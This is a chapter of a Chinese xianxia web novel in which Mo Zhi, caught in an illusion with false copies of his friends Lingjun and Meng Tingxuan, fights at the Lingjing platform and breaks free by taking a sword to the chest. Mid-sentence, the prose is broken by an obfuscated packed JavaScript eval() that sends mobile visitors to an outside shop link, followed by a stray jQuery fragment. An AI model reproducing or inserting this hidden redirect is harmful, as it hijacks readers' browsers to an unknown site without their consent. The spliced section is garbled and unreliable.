紫铜鎏金缠枝香炉里袅袅腾腾地滚出几缕香气,莫止打坐的身形轻轻晃了晃,额上竟隐约逼出几滴汗珠。

    仙门弟子不眠不休地运功修炼实乃常事,他虽天资卓绝却不曾有丝毫懈怠。修行如逆水行舟,不进则退,被架得越高就越不能露出一丝破绽。从前每每同灵均、孟?迟疯玩过后,他夜里也会像这般打坐运功,但今日的状态却格外不对劲。

    灵力畅通无阻地在经脉中运行了几个周天,丹田下的识海平静无波,连元神也安逸地闭着眼,空中飘着似有若无的香气,隐隐混合着几声丁铃脆响,伴着窗外淅沥雨声,应是极为舒适的状态,可莫止的眉心却不自觉越蹙越深。

    香味渐浓,丝丝缕缕困意顺着四肢百骸涌来,莫止的思维开始逐渐变得混沌,眼珠藏在薄薄一层眼皮下不安地转了转,紧接着脊背一软,整个人都歪倒在了床上,不多时就发出一串均匀的呼吸。

    已然入梦。

    — —

    “阿川!还不醒?!”

    耳边忽地传来一声炸响,莫止双眼猝然睁开,右手下意识摸向身侧,却出乎意料地摸了个空。

    照坤呢?

    眉眼之间的凌厉有一瞬的滞涩,初醒时的警惕褪去,莫止有些茫然地眨了眨眼。床帐散乱地挂着,安神符印在四周虚虚闪了闪,身上盖着的天蚕被发出淡淡的初茶气息,这感觉倒是令他分外熟悉,只是脑子里的那阵眩晕感仍未褪去,教他一时竟分不清自己身在何处。

    “阿川?发什么呆呢?”

    清泠泠的声音自头顶上方传来,莫止还没回神,一张异常出尘的美人脸就猛地在他眼前放大。

    菩萨面,远山眉,额心落一点红痣,三千青丝尽焚,金色的袈裟松松垮垮罩在佛衣外。敛目如观音垂泪,仰面似九天皎月,不是灵均又是谁?!

    莫止瞳孔几不可查地缩了缩。

    三年未见,他差点以为自己已经忘了昔日旧友的神采,可现在再看到这张脸,比一切怀疑率先涌来的是阵阵难以言说的鼻酸。他几乎要压不住内心汹涌而来的苦涩,所有强装无谓的外壳叫嚣着就要土崩瓦解。

    也许是莫止此时的表情太过匪夷所思,灵均奇怪地瞧了他一眼,抬手将绕着他的符印散去,道:“睡傻了?还不快起来,去晚了就赶不上了!”

    莫止下意识问:“去哪?”

    “灵镜台啊,你真睡傻了?”灵均伸手就要去摸莫止的头,还没碰到,手背就被毫不留情地扇了一下,他“嗷”地一声跳远了些,心底却无端松了口气,挤眉弄眼地催促道,“差点以为你被夺舍了……别墨迹了我的祖宗,庭瑄还在外面等着呢。”

    孟?迟竟然也在?

    莫止心里那股异样更甚。灵镜台是修真界用来考校弟子修为的地方,因为地势开阔,灵力充沛,也常有修士利用此地进行切磋。久而久之,这地方便成了一处比武场,凡是应下战书的弟子,都要在灵镜台公开较量,只要不伤及性命,不使用邪术,其他百无禁忌。

    莫止从前没少被下战帖,往往都是灵均操着一副看热闹不嫌事儿大的表情怂恿他应战,然后再靠着押注输赢大赚一笔。孟?迟对灵镜台向来不喜,哪怕是他的场次,都从未去观战过,现在怎么突然转性了?

    他抬眼看着灵均兴致勃勃的模样,强行压下纷乱的思绪,试探着问道:“庭瑄怎么有兴致去灵镜台了?”

    灵均莫名其妙地看了他一眼,转身将横在剑架上的照坤丢了过去:“你前天才应下的战帖今日就忘了?”

    莫止稳稳接住飞来的仙剑,在瞥见空荡荡的剑鞘后神色一顿。而后若无其事地站起身,道:“我应了谁?”

    “庭瑄啊。”灵均说起这事压不住的兴奋,“这次开盘你们俩胜率竟然四六开,啧啧啧,我有预感,我真的要赚大发了!”

    他语气太过夸张,有种难以掩藏的刻意。莫止若有所思地瞥了他一眼,手指轻扬,紧闭的门板唰然自两边拍开,露出了站在不远处那道挺拔如修竹的身影,银灰色校服罩在他身上,更显几分清冷出尘。

    听到声响,那人偏头看了过来,眉目冷洌,如霜似雪,周身萦绕着拒人于千里之外的疏离。见他二人出来,也只是略颔了颔首,纹丝未动。

    “庭瑄,可还来得及?”

    灵均拽过莫止胳膊兴冲冲迎了上去,还不忘控诉道,“阿川昨儿指定又偷偷吃酒了,你是没看见,他睡得有多死,我差点都没叫醒他!”

    又是这幅夸张的表情。

    莫止不动声色地抓紧了照坤,脑中飞快想象了一下从前的自己听到这话会有什么样的反应,而后从善如流地勾出一抹笑意,一边用肩头搡了灵均一下,说了句“少胡扯了”,一边趁着他二人不注意,草草扫了一眼此刻所在的地方。

    流云飞鸟,苍木古阵,单看布局倒像是在珩山派的主峰。

    “传送阵开了吗?”灵均腕间随意缠着一串佛珠,长长地垂坠下来,随着走动摇晃不止,他却好似全然不觉,满心都扑在灵镜台即将要发生的打斗上。

    来回经过的弟子步履匆匆,都顾不得同旁人打招呼就挤挤挨挨地上了传送法阵,毫无规矩可言。若是细看,便会发现这些弟子的五官极为模糊,活像是被草草捏出来的人型,在其中竟找不到一张熟悉的面孔。

    真是……潦草的幻境。

    莫止眼神微冷,不动声色收回视线,斜乜着去瞧身侧的孟?迟。

    这人依旧冷淡至极,紧绷的下颌线勾出清晰的轮廓,唇色浅淡,瞳孔幽蓝,像一尊无情的玉器,与灵均的跳脱简直天差地别。闻言,也只是淡淡地“嗯”了一声。

    莫止无声呼出一口气,将心头涌起的杀意强行压了下去。这两个冒牌货暂时还杀不得。天下幻境,皆有生门死门,他如今所在的这方幻境,虽然略有草率,但运转却十分自如,隐约已形成一个世界规则,倘若找不到生门就贸然出手,难免将他也困在此处,成为幻境的养料。

    一定有破绽。莫止指腹无意识地蹭着照坤剑鞘,冰冷的寒意顺着经脉深入,令他的思绪越发清明。

    从他醒来,这幻境中的每个人都在催促着他去灵镜台,再高深的幻象,都会遵循基本逻辑,幻境中的人没有思维,只能依靠施术者传达的指令行事,生门既不在此处,那便只能在灵镜台了。

    三人衣袖翻飞,走下长长的灰白石阶,青鸟自莫止头顶盘旋而过,发出悠长的尖鸣,虽知道这一切都是假的,但他仍不自觉地扬起了头。

    白云缭绕虹光熠熠,数座峰头拔地而起,金殿玉瓦连绵,飞瀑自山涧倾泻而出,灵草茂木层层叠叠,整座珩山犹如九天仙境。

    莫止眼底划过一抹怀念。

    他不由得开始思忖,假如破除幻境是要他毁了这地方,届时,他能下得去手吗?

    这些纷乱的思绪随着他三人站到传送法阵中后悄然消散。

    珩山派真正的传送法阵巨大无比,莫止本以为在这幻境中应当有所削减,却不料眼前的阵仗竟有过之而无不及。

    笼罩在半空的法印咒文闪出夺目的银蓝色灵光,与远在山黛的灵镜台猝然相连,不消一息,里面的弟子就齐齐消失在了原地。

    山黛在大齐的最南面,常年烟雨朦胧,驻守在此处的闻音谷同其余几派并不亲近,除了在各大秘境或者试炼中能侥幸见一面外,就只有来灵镜台切磋时能碰上了。此刻,几个身穿浅紫色广袖袍衫的女修从另一处传送阵中缓缓走出,身姿清越,五官明晰,甚至还有人微微颔首,冲着莫止打了个招呼。

    莫止僵硬地扯了扯嘴角,算作回应。

    与假人相处果然还是别扭得很啊——

    他心下诽然,随着珩山的其他人一并踏出了传送法阵,习惯性地四下打量了一番,而后眉梢轻轻一扬。

    显然灵镜台才是这幻境的主场,其还原程度比之珩山强了不知多少倍,磅礴的灵气从四面八方涌来,天然拓出来的高大石台上陈着整整六面测灵镜,有先到的修士正在其中穿行,每过一面镜子,镜身就会显出不同的颜色,以此来告知所测的修士是何修为。

    不仅如此,此地的修士都有着清晰可见的五官,连神采也更接近现实中的样子,各门派弟子三三两两凑在一处,小声地说着话,却在看见他三人后自觉噤了声,无一例外的都将目光落在了莫止身上。

    淡淡的雾气弥散在空中,很快就将莫止的眼睫打湿,他不甚在意地蹭了蹭,紧接着被一只手捏住了腕骨。

    “这边走。”灵均声音压得很低,像是怕惊动其他修士似的,那张过分昳丽的脸上透出几分神秘,与现实中的灵均恍然有瞬间的重合。

    莫止刚要挣开的动作一顿,任由他拉着朝反方向走去,轻细的薄风融进漫天湿雾中,连带着衣袖间都有淡淡的水汽,他侧眸瞧了一眼,孟?迟没有跟上来。

    灵镜台周围本就是一片荒山,古木成林,群山环绕,是个绝佳的藏身之地。二人没走多远,灵均就在一棵参天古木前松开了手,繁茂的枝叶将他的身形完全笼罩在阴影中,就连语气中都多了几分严肃:“阿川,今日的计划你可还记得?”

    莫止眉心一跳。

    幻境中的人物都是依照施术者内心所化,为了达成目的会自动修补完善其中细节,他不清楚背后之人究竟想要他做什么,生门也暂时并未显露,如此一来,从这些假人口中说出来的话就格外重要。不出意外的话,突破幻境的关键就在此处,只是……

    他怎么知道计划是什么?!

    直接问又容易破坏幻境的运行,惊扰了其间人物,怕是整个幻境都会坍塌。这施术人真是够阴的,莫止心下烦躁,面上却不显,嘴角微扬眨了眨眼,道:“自然。不过你鬼鬼祟祟带我过来做甚,庭瑄真同意了?”

    幻境里的人物性格或多或少都与现实中有所不同,他也只能从细微处略作推断,孟?迟既没跟来,想必是知晓了那所谓计划,故而留在原地以作牵制,能教他俩分头行动的,应当是个分外棘手计划。再看灵均现下这般如临大敌的模样,多半是中途生了什么变故。

    莫止话中刻意留了三分余地。果不其然,听他说完,灵均愁眉苦脸地摸了一把光溜溜的脑袋:“原本说好了要来看你和庭瑄比试的人有将近半数都来不了了,少了这么多元神,滋补效果恐怕大不如前。”

    元神……

    滋补……

    莫止笑意陡然凝结在脸上,被这一番话劈得外焦里嫩,几乎是从牙缝中挤出了几个字:“你、说、什、么??”

    灵均只当他是因为计划生变一时接受不了,苦口婆心地劝道:“没关系的阿川,虽然效果大打折扣,但是也总好过你显出妖身的强,到时候庭瑄会帮你加固法阵,不会有人知道的。”

    话音刚落,他就发现面前的莫止脸色白得吓人,就连身体都有一瞬的摇晃,顾不得多想,灵均忙伸手按住莫止肩膀,急道:“没事吧?”

    莫止实在说不出“没事”二字,他在心里将造出这方幻境的人骂了个狗血淋头。万万没想到自己在幻境中的身份居然是一只需要靠吞噬同门元神才能维持人身的妖!

    那灵均和孟?迟又是什么身份?助纣为虐的好朋友?还是说……他们两个也是妖?

    莫止目光扫过灵均微微蹙起的长眉,不着痕迹地推开了那只搭在他肩上的手,故作镇定道:“为什么少了这么多人?”

    “说是灵犀阁突然上了一批要紧的任务,都抢着去领了,实在抽不出空来灵镜台观战。”灵均撇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800021|210587||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了撇嘴,随后不知想到了什么,眼睛一亮,难掩激动地说道,“但是提前押注的灵石没法收回,我可是把半数身价都押在你身上了,阿川你可别手下留情啊。”

    “……”

    这冒牌货果然还是有些碍眼。

    不过话里话外倒是透露出不少东西,眼下不但确定了来灵镜台的动机,还顺便知晓了自己的身份。只是背后之人实在有些恶趣味,灵均如此怂恿自己对孟?迟出手,多半有诈。

    莫止抬眼瞧着对方近在咫尺的面容,扬唇笑道:“放心,我定不会手下留情的。”

    — —

    孟?迟神色复杂地看向倒地不起的莫止,声音自他脑中缓缓响起:“怎么不还手?”

    按照计划,此时二人应当还在激烈斗法,而灵均则会趁着众人不注意,在四周悄然布下锁魂大阵,可现在……

    莫止嘻嘻一笑,无赖般捂住腿摆了摆手,道:“我腿抽筋了,打不了打不了,我认输。”

    这话说完,不光孟?迟,就连底下围观的众弟子都有一瞬间的呆滞,整个幻境轻微荡了一下。

    莫止饶有兴致地将神识铺开,观察着这些人的反应,幻境做得再精妙也不过是个空壳,一旦他的行为超出预计,幻境中的人便会陷入一种放空状态,这恰好方便了他找出破绽。

    莫止毫无负担地仰面朝天,甚至颇为放松地将孟?迟抵在他眼前的飞剑往旁边挪了挪,一点不觉得这样有什么不对。

    一群冒牌货而已,他和假人讲什么面子里子,只要别死在幻境里,他也不介意撒泼打滚一番。

    很快,蔓延出去的神识就发现了不对。

    所有修士竟然被人用高阶法宝捏出了心脏,夹在一团团虚无的元神中微微闪着亮光。

    莫止皱了皱眉,正欲细看,方才顿住的飞剑便陡然掀起一阵罡风,剑身猛地一抖,直直朝他刺来。

    “庭瑄!”

    莫止轻呵一声,翻身而起,衣袂在空中划出几道残影,深可见底的裂痕几乎瞬间自脚下绽开。孟?迟充耳不闻,流洄剑身闪出冰蓝色的剑芒,毫不留情地翻折刺出。

    与此同时,台下的弟子尽数动了起来,灵均布下的锁魂大阵不知何时被替换成了困仙阵,竟以灵镜台为阵眼,呈围合之势将莫止圈在了当中。

    莫止心底暗骂一句,手中飞快结印挡住了流洄的迎面一击,随后猛地将照坤丢出,剑鞘狠狠磕在了孟?迟肩窝,逼得他向后退了几步。

    这幻境的主人显然恼怒于他的不配合,所以决定逼他一把,竟硬生生将他的修为压到了三成!

    莫止简直要被气笑了。他手指翻飞,一边躲过孟?迟的剑招,一边在瞬时间叠出上百个小型法印,而后在台下的弟子一个接一个飞身逼近时骤然拍出,巨大的轰鸣声响彻云霄。

    尘土飞扬中,露出了那些人茫然的表情,几百个弟子像无头苍蝇一样被困在其中,他们没有思维,不知如何破阵,只能不停地朝着莫止所在的方向掠去,头一下下撞在法印罩起的气墙上,发出“砰砰”的响声。

    莫止刚松了口气,另一抹金色的影子就席卷而来。他有些头疼地皱了皱眉,反手生接了一下灵均的梵印掌,手心登时升起一股灼痛。

    孟?迟和灵均的修为能排仙才榜前十,在整个修真界都是响当当的人物,眼下他修为被压制,周身灵力用起来颇为不称心,而照坤始终未曾出鞘。就算知道对方只是一个冒牌货,可对上那两张脸,他还是下不去手,如此处处掣肘,他竟逐渐感到有些吃力。

    真是好算计!

    莫止眼底闪过一抹恼意,翻身躲过他二人的正面一击,手里掐诀,阵盘自脚下而起,强悍的灵力在四周激荡起伏,远处群山竟发出隐隐的崩裂之声。

    他目光炯炯,眉峰下压,衣袖猎猎而动,周身威压毫不克制地散出,天地都为之失色!

    幻境中的孟?迟和灵均速度奇快,胸口处用法宝捏出来的心脏闪出夺目的光彩,像是在催促莫止将其一剑贯穿。

    强大的剑意从四面八方笼罩下来,孟?迟的校服很快就被划出许多口子,他身形被法阵所阻,靠近不了莫止分毫,灵气化作利刃向他扑去,那张如霜似雪的脸上很快便显出丝丝血迹,却仍不知疲倦地催动飞剑,企图直接破了那大阵。

    一滴冷汗从莫止鼻尖落下,他目前的灵力支撑如此大的法阵还是有些勉强,照坤震颤着出鞘了寸许,又被他反手按了回去。

    必须尽快找到生门。倘若杀掉所有人是施术者留给他的死门,那么被杀就极有可能是生门。

    周身法阵隐隐有溃散之象,灵均趁机拨出一粒佛珠,口中念念有词,强大的阵法中心登时腾起万千梵印,闪着红光就要朝莫止压来。另一边,孟?迟已强行撕开一道口子,不过瞬息,冰蓝色的寒芒就朝着他心口逼近。

    莫止下颌紧绷,旋身拍出一掌止住那兜头而来的梵印,紧接着身形一动,在流洄剑尖刺来时主动迎了上去。

    孟?迟浑身一僵。

    献血淅淅沥沥滑落,莫止不退反进,让剑尖更深三分,剧烈的疼痛令他脑袋发晕,唯有面色依旧沉静,他死死盯着孟?迟的眼睛,如愿以偿地看到了一抹一闪而过的黑气。

    下一刻整个幻境犹如碎石般开始瓦解,莫止唇边溢出一道血痕,他抬手控制着孟?迟的腕骨拔出流洄剑,毫不在意胸口那个血窟窿,眉梢轻佻地扬起,冲着无边天际粲然一笑,稳稳当当拍出一掌,阴雷顿起。

    随着“咔嚓”一声巨响,熟悉的眩晕感再度袭来,莫止眼前一黑,身体不受控制地栽倒在地,闭眼前,他看到了孟?迟居高临下的淡漠双眼,一股不好的预感顿时涌上心头,只是还来不及作出反应,万物就在飞灰中归于平静。